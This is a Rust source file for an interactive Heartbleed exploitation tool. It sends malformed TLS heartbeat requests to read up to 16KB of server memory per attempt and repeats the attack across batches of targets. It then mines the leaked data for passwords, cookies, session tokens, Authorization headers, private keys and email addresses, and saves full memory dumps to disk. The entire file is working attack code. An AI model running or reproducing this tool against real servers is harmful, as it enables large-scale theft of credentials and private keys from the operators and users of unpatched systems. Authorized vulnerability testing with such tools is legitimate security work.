use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::{Write, BufRead, BufReader};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;

const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;

#[derive(Clone)]
pub struct ScanConfig {
    pub port: u16,
    pub payload_size: u16,
    pub heartbeat_attempts: usize,
    pub batch_file: Option<String>,
}

impl Default for ScanConfig {
    fn default() -> Self {
        Self {
            port: 443,
            payload_size: 0x4000,
            heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
            batch_file: None,
        }
    }
}

pub async fn run(target: &str) -> Result<()> {
    let config = get_user_config(target)?;
    run_with_config(target, config).await
}

fn get_user_config(target: &str) -> Result<ScanConfig> {
    let mut config = ScanConfig::default();
    
    println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
    println!();
    
    print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
    std::io::stdout().flush()?;
    let mut input = String::new();
    std::io::stdin().read_line(&mut input)?;
    if let Ok(port) = input.trim().parse::<u16>() {
        if port > 0 {
            config.port = port;
        }
    }
    
    print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
    std::io::stdout().flush()?;
    input.clear();
    std::io::stdin().read_line(&mut input)?;
    if let Ok(size) = input.trim().parse::<u16>() {
        if size > 0 && size <= 0x4000 {
            config.payload_size = size;
        } else if size > 0x4000 {
            println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
            config.payload_size = 0x4000;
        }
    }
    
    print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
    std::io::stdout().flush()?;
    input.clear();
    std::io::stdin().read_line(&mut input)?;
    if let Ok(attempts) = input.trim().parse::<usize>() {
        if attempts > 0 && attempts <= 20 {
            config.heartbeat_attempts = attempts;
        } else if attempts > 20 {
            println!("{}", "Warning: Too many attempts, capped at 20".yellow());
            config.heartbeat_attempts = 20;
        }
    }
    
    if target.is_empty() {
        print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
        std::io::stdout().flush()?;
        input.clear();
        std::io::stdin().read_line(&mut input)?;
        
        if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
            print!("{}", "Enter batch file path: ".green());
            std::io::stdout().flush()?;
            input.clear();
            std::io::stdin().read_line(&mut input)?;
            let batch_file = input.trim().to_string();
            
            if !batch_file.is_empty() {
                if Path::new(&batch_file).exists() {
                    config.batch_file = Some(batch_file);
                } else {
                    println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
                }
            }
        }
    }
    
    println!();
    println!("{}", "Configuration Summary:".cyan().bold());
    println!("  Port: {}", config.port);
    println!("  Payload Size: {} bytes", config.payload_size);
    println!("  Heartbeat Attempts: {}", config.heartbeat_attempts);
    if let Some(ref batch) = config.batch_file {
        println!("  Batch File: {}", batch);
    }
    println!();
    
    Ok(config)
}

pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
    if let Some(batch_file) = &config.batch_file {
        run_batch_scan(batch_file, &config).await
    } else {
        scan_single_target(target, &config).await
    }
}

async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
    let file = File::open(batch_file)
        .with_context(|| format!("Failed to open batch file: {}", batch_file))?;
    let reader = BufReader::new(file);
    
    let targets: Vec<String> = reader
        .lines()
        .filter_map(|line| line.ok())
        .map(|line| line.trim().to_string())
        .filter(|line| !line.is_empty() && !line.starts_with('#'))
        .collect();
    
    if targets.is_empty() {
        bail!("No valid targets found in batch file");
    }
    
    println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
    println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
    
    let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
    let mut tasks = FuturesUnordered::new();
    
    for target in targets {
        let config_clone = config.clone();
        let sem = semaphore.clone();
        
        tasks.push(tokio::spawn(async move {
            let _permit = sem.acquire().await.unwrap();
            scan_single_target(&target, &config_clone).await
        }));
    }
    
    while let Some(result) = tasks.next().await {
        if let Err(e) = result {
            eprintln!("{}", format!("[-] Task error: {}", e).red());
        }
    }
    
    println!("{}", "\n[*] Batch scan complete".green().bold());
    Ok(())
}

async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
    let raw = target.trim();
    
    if raw.is_empty() {
        bail!("Target address cannot be empty");
    }
    
    let stripped = raw
        .trim_start_matches('[')
        .trim_end_matches(']');

    let host = if stripped.contains(':') && !stripped.contains('.') {
        format!("[{}]", stripped)
    } else {
        stripped.to_string()
    };

    let addr = format!("{}:{}", host, config.port);

    println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}", 
             addr, config.payload_size, config.heartbeat_attempts).cyan());

    let mut all_leaked_data = Vec::new();
    
    for attempt in 1..=config.heartbeat_attempts {
        println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
        
        match scan_with_retry(&addr, config.payload_size).await {
            Ok(Some(data)) => {
                println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
                all_leaked_data.extend_from_slice(&data);
            }
            Ok(None) => {
                println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
            }
            Err(e) => {
                println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
            }
        }
        
        if attempt < config.heartbeat_attempts {
            sleep(Duration::from_millis(100)).await;
        }
    }
    
    if all_leaked_data.is_empty() {
        println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
        return Ok(());
    }
    
    println!();
    println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
    println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
    println!();
    
    analyze_leaked_data(&all_leaked_data);
    
    let safe_filename = stripped
        .replace(':', "_")
        .replace('/', "_")
        .replace('\\', "_");
    let filename = format!("leak_dump_{}.bin", safe_filename);
    
    save_leak_dump(&filename, &all_leaked_data)?;
    println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
    
    Ok(())
}

async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
    let mut backoff = INITIAL_BACKOFF_MS;
    
    for retry in 0..MAX_RETRIES {
        if retry > 0 {
            println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
            sleep(Duration::from_millis(backoff)).await;
            backoff *= 2;
        }
        
        match perform_heartbleed_test(addr, payload_size).await {
            Ok(data) => return Ok(data),
            Err(e) if retry < MAX_RETRIES - 1 => {
                println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
                continue;
            }
            Err(e) => return Err(e),
        }
    }
    
    bail!("All retry attempts exhausted")
}

async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
    let socket_addr = addr
        .to_socket_addrs()
        .context("Invalid target address format")?
        .next()
        .context("Could not resolve target address")?;

    let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
    let mut stream = match stream_result {
        Ok(Ok(s)) => s,
        Ok(Err(e)) => bail!("Connection failed: {}", e),
        Err(_) => bail!("Connection timed out"),
    };

    stream.write_all(&build_client_hello()).await
        .context("Failed to send Client Hello")?;
    stream.flush().await
        .context("Failed to flush after Client Hello")?;

    let mut response = vec![0u8; 4096];
    let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
    match read_result {
        Ok(Ok(n)) if n > 0 => {},
        Ok(Ok(_)) => bail!("No response to Client Hello"),
        Ok(Err(e)) => bail!("Read error: {}", e),
        Err(_) => bail!("Read timed out"),
    }

    stream.write_all(&build_heartbeat_request(payload_size)).await
        .context("Failed to send Heartbeat request")?;
    stream.flush().await
        .context("Failed to flush after Heartbeat")?;

    let mut leak = vec![0u8; 65535];
    let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
    let n = match read_result {
        Ok(Ok(n)) if n > 0 => n,
        Ok(Ok(_)) => return Ok(None),
        Ok(Err(_)) => return Ok(None),
        Err(_) => return Ok(None),
    };

    if n <= 5 {
        return Ok(None);
    }

    Ok(Some(leak[..n].to_vec()))
}

fn analyze_leaked_data(data: &[u8]) {
    println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
    
    let data_str = String::from_utf8_lossy(data);
    
    let password_patterns = vec![
        (r"password[=:]\s*[^\s&]{3,}", "Password"),
        (r"passwd[=:]\s*[^\s&]{3,}", "Password"),
        (r"pwd[=:]\s*[^\s&]{3,}", "Password"),
        (r"pass[=:]\s*[^\s&]{3,}", "Password"),
    ];
    
    for (pattern, label) in password_patterns {
        if let Ok(re) = Regex::new(pattern) {
            for cap in re.find_iter(&data_str) {
                println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
            }
        }
    }
    
    let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
    if let Some(re) = cookie_re {
        for cap in re.captures_iter(&data_str) {
            if let Some(cookie) = cap.get(1) {
                println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
            }
        }
    }
    
    let session_patterns = vec![
        r"PHPSESSID=[a-zA-Z0-9]{20,}",
        r"JSESSIONID=[a-zA-Z0-9]{20,}",
        r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
    ];
    
    for pattern in session_patterns {
        if let Ok(re) = Regex::new(pattern) {
            for cap in re.find_iter(&data_str) {
                println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
            }
        }
    }
    
    let key_markers = vec![
        "-----BEGIN RSA PRIVATE KEY-----",
        "-----BEGIN PRIVATE KEY-----",
        "-----BEGIN EC PRIVATE KEY-----",
        "-----BEGIN DSA PRIVATE KEY-----",
        "-----BEGIN OPENSSH PRIVATE KEY-----",
    ];
    
    for marker in key_markers {
        if data_str.contains(marker) {
            println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
        }
    }
    
    let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
    if let Some(re) = auth_re {
        for cap in re.captures_iter(&data_str) {
            if let Some(auth) = cap.get(1) {
                println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
            }
        }
    }
    
    let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
    if let Some(re) = email_re {
        let mut emails = std::collections::HashSet::new();
        for cap in re.find_iter(&data_str) {
            emails.insert(cap.as_str().to_string());
        }
        if !emails.is_empty() {
            println!();
            println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
            for (i, email) in emails.iter().take(5).enumerate() {
                println!("    {}: {}", i + 1, email);
            }
            if emails.len() > 5 {
                println!("    ... and {} more", emails.len() - 5);
            }
        }
    }
    
    println!();
    println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
    println!("{}", printable_dump(&data[..data.len().min(512)]));
}

fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
    let path = Path::new(filename);
    let mut file = File::create(path)
        .with_context(|| format!("Failed to create dump file '{}'", filename))?;
    file.write_all(data)
        .with_context(|| format!("Failed to write leak data to '{}'", filename))?;
    Ok(())
}

fn build_client_hello() -> Vec<u8> {
    let version: u16 = 0x0302;
    let time_now = SystemTime::now()
        .duration_since(UNIX_EPOCH)
        .unwrap_or_default()
        .as_secs() as u32;

    let mut random = vec![];
    random.extend_from_slice(&time_now.to_be_bytes());
    random.extend_from_slice(&[0x42; 28]);

    let cipher_suites: Vec<u16> = vec![
        0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
    ];

    let mut hello = vec![];
    hello.extend_from_slice(&version.to_be_bytes());
    hello.extend_from_slice(&random);
    hello.push(0);
    hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
    for cs in &cipher_suites {
        hello.extend_from_slice(&cs.to_be_bytes());
    }
    hello.push(1);
    hello.push(0);

    let mut extensions = vec![];
    extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
    extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
    extensions.push(0x01);

    hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
    hello.extend_from_slice(&extensions);

    let mut handshake = vec![0x01];
    let len = (hello.len() as u32).to_be_bytes();
    handshake.extend_from_slice(&len[1..]);
    handshake.extend_from_slice(&hello);

    build_tls_record(0x16, version, &handshake)
}

fn build_heartbeat_request(length: u16) -> Vec<u8> {
    let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
    payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
    build_tls_record(0x18, 0x0302, &payload)
}

fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
    let mut record = vec![record_type];
    record.extend_from_slice(&version.to_be_bytes());
    record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
    record.extend_from_slice(payload);
    record
}

fn printable_dump(data: &[u8]) -> String {
    data.iter()
        .map(|b| match *b {
            32..=126 => *b as char,
            b'\n' => '\n',
            b'\r' | b'\t' => ' ',
            _ => '.',
        })
        .collect()
}